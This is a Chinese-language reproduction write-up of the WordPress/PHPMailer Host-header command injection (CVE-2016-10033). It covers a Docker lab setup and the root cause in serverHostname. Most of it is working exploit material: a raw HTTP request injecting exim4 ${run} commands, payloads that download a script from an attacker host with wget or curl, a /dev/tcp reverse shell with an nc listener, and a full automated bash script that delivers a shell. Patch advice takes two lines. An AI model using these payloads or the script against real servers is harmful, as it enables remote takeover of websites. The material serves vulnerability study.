WordPress <= 4.6 命令执行漏洞(PHPMailer)(CVE-2016-10033)复现分析
字数 1394 2025-08-29 08:32:09

WordPress <= 4.6 命令执行漏洞(PHPMailer)(CVE-2016-10033) 复现与分析

漏洞概述

WordPress 是一种使用 PHP 语言开发的博客平台,用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站。WordPress 使用 PHPMailer 组件向用户发送邮件。PHPMailer(版本 < 5.2.18)存在远程命令执行漏洞,攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,造成远程命令执行的危害。

漏洞编号: CVE-2016-10033
影响版本:

  • WordPress <= 4.7.1
  • PHPMailer < 5.2.18

测试环境搭建

使用 Docker 快速搭建测试环境:

# 拉取镜像到本地
$ docker pull medicean/vulapps:w_wordpress_6

# 启动环境
$ docker run -d -p 8000:80 medicean/vulapps:w_wordpress_6

访问 http://127.0.0.1:8000 看到 WordPress 主界面代表启动成功。

漏洞分析

漏洞位置

漏洞页面: /wp-login.php?action=lostpassword
此处是管理员重置密码页面,WordPress 使用 PHPMailer 组件进行重置密码邮件的发送。

漏洞根源

漏洞文件是 class.phpmailer.php,位于 wp-includes 目录下。关键代码:

public $Mailer = 'mail';
public $Sendmail = '/usr/sbin/sendmail';

PHPMailer 组件调用 Linux 系统命令 sendmail 进行邮件发送,命令格式为:sendmail -t -i -fusername@hostname

漏洞触发点

serverHostname 函数通过传入的 SERVER_NAME 参数来获取主机名,该主机名即 HTTP 请求报文中的 Host 值,但 SERVER_NAME 参数没有经过任何过滤:

protected function serverHostname() {
    $result = 'localhost.localdomain';
    if (!empty($this->Hostname)) {
        $result = $this->Hostname;
    } elseif (isset($_SERVER) && array_key_exists('SERVER_NAME', $_SERVER) && !empty($_SERVER['SERVER_NAME'])) {
        $result = $_SERVER['SERVER_NAME'];
    } elseif (function_exists('gethostname') && gethostname() !== false) {
        $result = gethostname();
    } elseif (php_uname('n') !== false) {
        $result = php_uname('n');
    }
    return $result;
}

绕过限制的技术

  1. Sendmail 参数注入:

    • 使用 -X 参数写入日志文件:-OQueueDirectory=/tmp/ -X/tmp/smtp.php
    • 但 WordPress 和 PHPMailer 会防止注入空字符(空格或 TAB)
  2. 利用 exim4 特性:

    • Ubuntu/Debian 系统中,sendmailexim4 的软链接
    • 使用 -be 参数进行字符串扩展测试
    • 关键函数:
      • substr:字符串截取
      • $run:系统调用函数
  3. 特殊字符构造:

    • 空格:${substr{10}{1}{$tod_log}}
    • 斜杠 /${substr{0}{1}{$spool_directory}}

漏洞利用

基本利用方式

构造 Host 头注入命令:

POST /wp-login.php?action=lostpassword HTTP/1.1
Host: aa(any -froot@localhost -be ${run{/bin/touch /tmp/test.txt}} null)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://172.16.176.128:8000/wp-login.php?action=lostpassword
Cookie: wordpress_test_cookie=WP+Cookie+check
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 63

user_login=admin&redirect_to=&wp-submit=Get+New+Password

反弹 Shell

  1. 准备反弹 Shell 脚本 (172.16.176.1:8080/a.txt):

    nohup bash -i >/dev/tcp/172.16.176.1/1337 0<&1 2>&1) &
    
  2. 下载脚本的 Payload:

    Host: aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce${substr{10}{1}{$tod_log}}172.16.176.1${substr{0}{1}{$spool_directory}}a.txt}} null)
    
  3. 执行脚本的 Payload:

    Host: aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce}} null)
    
  4. 在攻击机上监听:

    nc -nvv -l -p 1337
    

自动化利用脚本

#!/bin/bash

rev_host="172.16.176.1"

function prep_host_header() {
    cmd="$1"
    rce_cmd="\${run{$cmd}}";
    rce_cmd=`echo $rce_cmd | sed 's^/^\${substr{0}{1}{\$spool_directory}}^g'`
    rce_cmd=`echo $rce_cmd | sed 's^ ^\${substr{10}{1}{\$tod_log}}^g'`
    host_header="target(any -froot@localhost -be $rce_cmd null)"
    return 0
}

if [ "$#" -ne 1 ]; then
    echo -e "Usage:\n $0 target-wordpress-url\n"
    exit 1
fi

target="$1"

echo -ne "\e[91m[*]\033[0m"
read -p " Sure you want to get a shell on the target '$target' ? [y/N] " choice
echo

if [ "$choice" == "y" ]; then
    echo -e "\e[92m[*]\033[0m Guess I can't argue with that... Let's get started...\n"
    echo -e "\e[92m[+]\033[0m Connected to the target"
    
    # Serve payload/bash script on :80
    RCE_exec_cmd="(sleep 3s && nohup bash -i >/dev/tcp/$rev_host/1337 0<&1 2>&1) &"
    echo "$RCE_exec_cmd" > rce.txt
    python -mSimpleHTTPServer 80 2>/dev/null >&2 &
    hpid=$!
    
    # Save payload on the target in /tmp/rce
    cmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt"
    prep_host_header "$cmd"
    curl -H "Host: $host_header" -s -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword
    
    echo -e "\n\e[92m[+]\e[0m Payload sent successfully"
    
    # Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce
    cmd="/bin/bash /tmp/rce"
    prep_host_header "$cmd"
    curl -H "Host: $host_header" -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword &
    
    echo -e "\n\e[92m[+]\033[0m Payload executed!"
    echo -e "\n\e[92m[*]\033[0m Waiting for the target to send us a \e[94mreverse shell\e[0m...\n"
    nc -nvv -l -p 1337
    echo
else
    echo -e "\e[92m[+]\033[0m Responsible choice ;) Exiting.\n"
    exit 0
fi

echo "Exiting..."
exit 0

修复建议

  1. 更新 WordPress 到最新版本
  2. 更新 PHPMailer 组件到 5.2.18 或更高版本

参考链接

  • https://github.com/vulhub/vulhub/tree/master/wordpress/pwnscriptum
  • https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
WordPress <= 4.6 命令执行漏洞(PHPMailer)(CVE-2016-10033) 复现与分析 漏洞概述 WordPress 是一种使用 PHP 语言开发的博客平台,用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站。WordPress 使用 PHPMailer 组件向用户发送邮件。PHPMailer(版本 < 5.2.18)存在远程命令执行漏洞,攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,造成远程命令执行的危害。 漏洞编号 : CVE-2016-10033 影响版本 : WordPress <= 4.7.1 PHPMailer < 5.2.18 测试环境搭建 使用 Docker 快速搭建测试环境: 访问 http://127.0.0.1:8000 看到 WordPress 主界面代表启动成功。 漏洞分析 漏洞位置 漏洞页面: /wp-login.php?action=lostpassword 此处是管理员重置密码页面,WordPress 使用 PHPMailer 组件进行重置密码邮件的发送。 漏洞根源 漏洞文件是 class.phpmailer.php ,位于 wp-includes 目录下。关键代码: PHPMailer 组件调用 Linux 系统命令 sendmail 进行邮件发送,命令格式为: sendmail -t -i -fusername@hostname 。 漏洞触发点 serverHostname 函数通过传入的 SERVER_NAME 参数来获取主机名,该主机名即 HTTP 请求报文中的 Host 值,但 SERVER_NAME 参数没有经过任何过滤: 绕过限制的技术 Sendmail 参数注入 : 使用 -X 参数写入日志文件: -OQueueDirectory=/tmp/ -X/tmp/smtp.php 但 WordPress 和 PHPMailer 会防止注入空字符(空格或 TAB) 利用 exim4 特性 : Ubuntu/Debian 系统中, sendmail 是 exim4 的软链接 使用 -be 参数进行字符串扩展测试 关键函数: substr :字符串截取 $run :系统调用函数 特殊字符构造 : 空格: ${substr{10}{1}{$tod_log}} 斜杠 / : ${substr{0}{1}{$spool_directory}} 漏洞利用 基本利用方式 构造 Host 头注入命令: 反弹 Shell 准备反弹 Shell 脚本 (172.16.176.1:8080/a.txt): 下载脚本的 Payload: 执行脚本的 Payload: 在攻击机上监听: 自动化利用脚本 修复建议 更新 WordPress 到最新版本 更新 PHPMailer 组件到 5.2.18 或更高版本 参考链接 https://github.com/vulhub/vulhub/tree/master/wordpress/pwnscriptum https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html